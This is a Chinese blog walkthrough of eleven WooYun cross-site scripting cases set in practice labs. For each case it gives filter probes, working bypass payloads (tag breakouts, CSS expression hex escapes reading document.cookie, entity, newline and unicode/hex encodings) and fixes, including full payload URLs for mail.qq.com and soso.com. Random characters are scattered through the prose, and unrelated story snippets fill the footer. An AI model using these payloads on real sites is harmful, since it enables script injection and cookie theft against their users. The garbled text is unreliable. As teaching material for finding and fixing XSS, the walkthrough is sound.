XSS——wooyun實戰(zhàn)(11例)

<1>

點擊進入本例模擬環(huán)境

測試方法

經(jīng)過測試,我們發(fā)現(xiàn)爹脾,當(dāng)在score后輸入<>HTML標簽時惭婿,查看源碼,發(fā)現(xiàn)
圖片.png

這便說明存在XSS漏洞歌憨,
圖片.png

修復(fù)方法

a. 通常着憨,我們只需要在輸出前,將 < , > 過濾掉即可务嫡。
b. 這類XSS在小型網(wǎng)站中比較常見甲抖,在大型網(wǎng)站中少見。
c. 這類XSS通常都被瀏覽器的XSS過濾器秒殺了心铃,所以一般來說准谚,威力較小。
d. 對于普通用戶來說去扣,請使用IE8及以上版本(并開啟XSS過濾器功能柱衔,默認開啟),或chrome瀏覽器愉棱,將可以防御大部分此種類型的XSS攻擊唆铐。

<2>

點擊進入本例模擬環(huán)境

測試方法

輸入aaaaaa<>我們發(fā)現(xiàn)出現(xiàn)位置如下


圖片.png

解法1

1 首先判斷,是否過濾了 < , > , / 等符號奔滑,
2 如果都沒有過濾艾岂,恭喜你,一般可以直接XSS了朋其。代碼如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>

圖片.png

但是天有不測風(fēng)雨王浴, 如果過濾了 <, >,那么就無法使用上面的辦法了

解法2

構(gòu)造js代碼:
eval('alert(1)');void

圖片.png

payload是不固定的令宿,也就是說叼耙,我們插入的內(nèi)容腕窥,使得這一段javascript依然【語法正確】粒没,能夠【正確執(zhí)行】,并且能夠執(zhí)行【我們所插入的JS代碼】簇爆,這樣我們的目的就達到了癞松。
類似于var a="[輸出]"; // 不過通常程序員會把 " 過濾掉爽撒, 這樣的話,一般來說响蓉,我們就很難構(gòu)造硕勿。

修復(fù)方案

 1. 過濾 </xxx> 組合 
 2. 針對輸出在不同的場景,進行合適的過濾枫甲。 

<3.1>

點擊進入本例模擬環(huán)境 3.1

測試

輸入<>源武,發(fā)現(xiàn)被過濾了,查看源碼發(fā)現(xiàn)想幻,雙引號不會被過濾粱栖,故我們因此構(gòu)想payload

解法

圖片.png

當(dāng)用戶點擊這個文本框時,就會觸發(fā) XSS

<3.2>

點擊進入本例模擬環(huán)境 3.2

測試

輸入<>/"(),發(fā)現(xiàn)只有/沒有被過濾脏毯,如何只用 \ 構(gòu)造利用語句呢闹究,我們可以想到CSS 中的字符編碼,CSS 提供了一套轉(zhuǎn)義處理策略食店,一個反斜杠后邊跟1~6位十六進制數(shù)字渣淤。然后利用CSS 的expression 來調(diào)用JavaScript 代碼。也就是試圖構(gòu)造出

expression(eval(alert(/xss/))

解法

完整的代碼如下:

<body style="... background-color:;width:expression(eval(alert(/xss/)))">

完整的payload:

bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29

用分號來結(jié)束backgroud-color,然后 w: 后邊跟上expression,如果expression 要被過濾吉嫩,那就加上轉(zhuǎn)義价认,把expression 隨意變下形就可以,于是率挣,在下邊這樣的代碼構(gòu)造下刻伊,漏洞又被利用了。

試了很多次椒功,發(fā)現(xiàn)一直不出現(xiàn)XSS捶箱,原來

expression 當(dāng)年是微軟搞出來的技術(shù),但是一直沒被其他瀏覽器接受动漾,同時丁屎,甚至微軟自己如今也拋棄了這種特性,它出現(xiàn)在IE6旱眯,IE7晨川,和IE8的一些早期版本,因為微軟官方也認為該屬性不具有通用性删豺,而且它處理的事務(wù)共虑,如今已經(jīng)能夠在CSS 中正常的完成,如min-width,max-width呀页, 這些都已經(jīng)在IE8之后得到很好的支持妈拌,所以expression 也只能在這兩個古老版本上起效。

<3.3>

點擊進入本例模擬環(huán)境 3.3

測試

輸入aaaaaaaa<>'/"()測試


圖片.png

根據(jù)測試蓬蝶,我們發(fā)現(xiàn)只有/,(),'這三個符號沒被過濾尘分,而且攻擊點在第二個等于后面猜惋。
........&searchvalue_yjbg=aaaaaa'

.......&searchvalue_yjbg=aaaaaa'+alert(1)+''

........&searchvalue_yjbg=aaaaaa'+alert(1)+&#x27

解法

&: %26, #: %23,+:%2b,':%27
payload:

aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27

由于缺陷點是發(fā)生在 onkeydown 或 a 標簽的 href 屬性中,無法自動觸發(fā)培愁,因而使得威脅減小著摔,如果是發(fā)生在 img 的 onload 屬性,則非扯ㄐ可能導(dǎo)致自動觸發(fā)谍咆,故需手動點擊GO觸發(fā)XSS。

修復(fù)方法(綜合以上三個)

1. 對于輸出在HTML屬性中的情況私股,需要特殊情況特殊對待卧波,該過濾\的時候,請過濾\, 該過濾&的情況庇茫,則過濾掉&
2. 碰到有某些修復(fù)的人用正則去判斷港粱, &#xNNN.., 而實際上 &#x0NN; &#x00NN, (后面自己慢慢試。旦签。) 都是可以的查坪。 或者是 &#10進制; 以及一些特殊的HTML實體,如 &quot;等宁炫,都要注意到偿曙,好麻煩, 最好的辦法羔巢,還是 &過濾為 &amp; :) 

<4>

測試

輸入<>'/()“
發(fā)現(xiàn)"<>被過濾

%df"alert(1)
圖片.png

我們發(fā)現(xiàn)還有一個"沒有閉合望忆,但是直接加上",會被過濾竿秆,所以我們想到//注釋符號將它注釋即可

%df"alert(1)//

發(fā)現(xiàn)還不行


圖片.png

不難想到這是代碼启摄,結(jié)尾要用;,故

%df";alert(1)//

修復(fù)方案

修復(fù)相關(guān)過濾機制幽钢。

<5>

這道題不能用
由于網(wǎng)站問題歉备,本題只出示思路。

測試

輸入常用符號匪燕,經(jīng)過測試蕾羊,我們可以看到,雙引號是用不了帽驯, 但是 反斜線還可以使用龟再。\可以用

提取缺陷代碼

<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

缺陷部分

"........."+"&ss=aaaa"+"&from=bbb"+"&param=";

解題

反斜線是用來表示轉(zhuǎn)義,我們要控制aaaa但是不能使用雙引號尼变,這時就可以用反斜線進行對雙引號的轉(zhuǎn)義利凑,
語法發(fā)生變化:

<script>getTop().location.href="......"+ "&ss=aaa\"+" &from=bbb "+" ?m= "+" .....";</script>

這樣看起來雖然前面的語法正確,但是后面的語句卻不太正常,故截碴,我們只需使用//將后面的語句進行注釋即可。

location.href="........."+"&ss=aaaa\"+"&from=1//"+"?m=";

但是還有一個問題蛉威,& 在這里日丹,被考慮成了一個與操作,優(yōu)先級是高于 =號的蚯嫌,變成了(“字符串”&from)=1 的語法哲虾,這仍然是錯誤的。但是择示,如果我們再測試一下束凑,= 號會不會被屏蔽呢,=號也可以用栅盲,那么我們改變一下語法汪诉,添加一個等號,變成 ==:

location.href="........."+"&ss=aaaa\"+"&from==1//"+"?m=";

于是語法編程了(“string”)&(from==1)的樣式谈秫,from 變成了一個bool操作扒寄,但現(xiàn)在又面臨了新的問題,如果你在URL 里本來該是一個定義的操作拟烫,卻變成了一個判斷的操作该编,from 就變成了未定義的狀態(tài)了,語法仍然會報錯硕淑,這我們就要進一步理解JavaScript的語法了课竣,如果我們把from 當(dāng)做一個變量或者是方法,如果是方法置媳,無論在何處定義于樟,都會被拉到最簡便,利用這樣一個特性拇囊,我們的代碼可以改改隔披。

location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

這樣一來,我們的 function from(){} 就會被提前解析寂拆,從而定義了from, 后面 from==1的時候奢米,就不會報錯.
但問題又來了,我們現(xiàn)在添加了許多東西纠永,而添加的這些東西鬓长,包含了許多特殊字符,會不會通過呢尝江,經(jīng)過實際測試涉波,空格符被轉(zhuǎn)義了。
空格符被轉(zhuǎn)義了怎么辦呢,我們找到新的替換品啤覆,那就是/**/, 這是一個注釋符赞枕,之前我們也測試過了,斜杠不會被過濾乒省,那么這個注釋符厌衙,成功的頂替了空格,形成了正常的語法笨觅。
故最終payload:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

知識點

1.==的優(yōu)先級比 & 高拦耐,所以語句相當(dāng)于 ("字符串")&(from==1)
2.from未定義,直接和1進行相等判斷的話见剩,會報錯杀糯,錯誤是:“from”未定義

3.javascript里有一個特性:

aaa();
function aaa(){
}

凡是以 function xxx(){} 形式定義的函數(shù),都會被最優(yōu)先解析苍苞。換句話說:
解析器在解析JS代碼段時固翰,會先將 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分羹呵。 換句話說倦挂,上面的代碼,實際的解析順序是:

function aaa(){
}
aaa();

這便是隱藏在payload中的知識點

location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";
function from()
{
aaaaa from == 1;
alert(1);
}

<6>

點擊進入本例模擬環(huán)境

測試

用了幾個常用符


圖片.png

我們在一些注釋的代碼中也能發(fā)現(xiàn)我們的符號們担巩,不難發(fā)現(xiàn)被過濾的和沒被過濾的

那么我們需要思考方援,如果我們能讓代碼跳出注釋范圍,再利用alert(1)觸發(fā)XSS涛癌,這樣不就達到我們的目的了嗎犯戏?

解題

所以這里需要再科普一下換行符%0a
現(xiàn)在在view source里先構(gòu)造我們的payload,觀察有沒有什么變化拳话,

圖片.png

不難發(fā)現(xiàn)我們已經(jīng)成功跳出注釋圈先匪,成功的觸發(fā)XSS,不過這里也要注意弃衍,為了閉合后面的",由于雙引號被過濾呀非,所以我們只能將它注釋掉。
payload:

%0aalert(1);//

<7>

點擊進入本例模擬環(huán)境

測試

圖片.png

簡單的測試镜盯,能找到被過濾的符號

審計

通過審計我們發(fā)現(xiàn)岸裙,這與上一道題相似,需要跳出注釋圈

解題

aaa%5c%0aalert(1);//

發(fā)現(xiàn)不太行速缆,源碼里多了一個\降允,也就是這里防\,所以我們需要吃掉\

aaa%c0%5c%0aalert(1);//

知識點

javascript艺糜,字符串允許下面多行的寫法剧董。

var  a="我是一個字符串\

我還是一個字符串";

alert(a);

基于這點幢尚,把缺陷點構(gòu)造成下面的樣子。

//document.getElementById("order_select").value = "aaaa\
alert(1);//";

    var searchOrder = "aaaa\

alert(1);//";

也就是用到換行符 %0a
反斜杠問題中%c0可以吃掉%5c
%5c就是\

<8.1>

點擊進入本例模擬環(huán)境 8.1

測試

測試之后我們發(fā)現(xiàn)過濾情況和之前差不多翅楼。
在js中的字符串中的字符可以寫為 unicode編碼尉剩。
故我們將<>進行編碼,< 可以表示為 \u003c , > 可以表示為 \u003e

解題

<img src=1>輸入后我們發(fā)現(xiàn)頁面沒有反應(yīng) 毅臊,查看源碼我們發(fā)現(xiàn)<>被過濾的問題沒有解決
\u003cimg src=1\u003e 再次嘗試 理茎,發(fā)現(xiàn)頁面出現(xiàn)反應(yīng)了,利用這個漏洞
\u003cimg src=1 onerror=alert(1)\u003e

<8.2>

點擊進入本例模擬環(huán)境 8.2

測試

經(jīng)過簡單的測試發(fā)現(xiàn)它和上一道題基本類似

解題

那我們就開始大膽的解題了褂微,嘗試用上一道題的方法


圖片.png

很遺憾,很不幸园爷,很失望宠蚂,我們發(fā)現(xiàn)unicode編碼<>也被過濾了
在JS字符串里, < 不光可以寫為 \u003c童社,還可以寫為 \x3c求厕, > 同樣可以寫為 \x3e。
我們再試試這個扰楼,出現(xiàn)彈窗呀癣。故,

\x3cimg src=1 onerror=alert(1)\x3e

修復(fù)方案

修復(fù)方案:
方法1. 輸出時弦赖,過濾
方法2. innerHTML=encodeHTML([輸出])

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末项栏,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蹬竖,更是在濱河造成了極大的恐慌沼沈,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,311評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件币厕,死亡現(xiàn)場離奇詭異列另,居然都是意外死亡,警方通過查閱死者的電腦和手機旦装,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評論 2 382
  • 文/潘曉璐 我一進店門页衙,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人阴绢,你說我怎么就攤上這事店乐。” “怎么了呻袭?”我有些...
    開封第一講書人閱讀 152,671評論 0 342
  • 文/不壞的土叔 我叫張陵响巢,是天一觀的道長。 經(jīng)常有香客問我棒妨,道長踪古,這世上最難降的妖魔是什么含长? 我笑而不...
    開封第一講書人閱讀 55,252評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮伏穆,結(jié)果婚禮上拘泞,老公的妹妹穿的比我還像新娘。我一直安慰自己枕扫,他們只是感情好陪腌,可當(dāng)我...
    茶點故事閱讀 64,253評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著烟瞧,像睡著了一般诗鸭。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上参滴,一...
    開封第一講書人閱讀 49,031評論 1 285
  • 那天强岸,我揣著相機與錄音,去河邊找鬼砾赔。 笑死蝌箍,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的暴心。 我是一名探鬼主播妓盲,決...
    沈念sama閱讀 38,340評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼专普!你這毒婦竟也來了悯衬?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,973評論 0 259
  • 序言:老撾萬榮一對情侶失蹤檀夹,失蹤者是張志新(化名)和其女友劉穎甚亭,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體击胜,經(jīng)...
    沈念sama閱讀 43,466評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡亏狰,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了偶摔。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片暇唾。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖辰斋,靈堂內(nèi)的尸體忽然破棺而出策州,到底是詐尸還是另有隱情,我是刑警寧澤宫仗,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布够挂,位于F島的核電站,受9級特大地震影響藕夫,放射性物質(zhì)發(fā)生泄漏孽糖。R本人自食惡果不足惜枯冈,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望办悟。 院中可真熱鬧尘奏,春花似錦、人聲如沸病蛉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽铺然。三九已至俗孝,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間魄健,已是汗流浹背赋铝。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留诀艰,地道東北人柬甥。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓饮六,卻偏偏與公主長得像其垄,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子卤橄,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 之前積累了XSS 有一段時間绿满,因為目前開始了一件有趣的工程,需要整合非常多的知識窟扑,其中Web 安全這一塊出現(xiàn)最多的...
    刀背藏身閱讀 9,033評論 0 16
  • Getting Started Burp Suite 是用于攻擊web 應(yīng)用程序的集成平臺喇颁。它包含了許多工具,并為...
    Eva_chenx閱讀 28,631評論 0 14
  • XSS常見Payload總結(jié) XSS漏洞的存在與發(fā)生伴隨兩個概念: 輸入函數(shù)和輸出函數(shù)嚎货。XSS攻擊Payload...
    BerL1n閱讀 2,676評論 0 3
  • 漏洞簡介 跨站腳本攻擊又名XSS橘霎,全稱為Cross Site Scripting,為了區(qū)別層疊樣式表(CSS)所以...
    撿垃圾的小弟弟閱讀 1,864評論 0 7
  • 什么是XSS殖属? 跨站腳本(Cross-Site Scripting姐叁,XSS)是一種經(jīng)常出現(xiàn)在 Web 應(yīng)用程序中的...
    lokisteven閱讀 1,420評論 0 2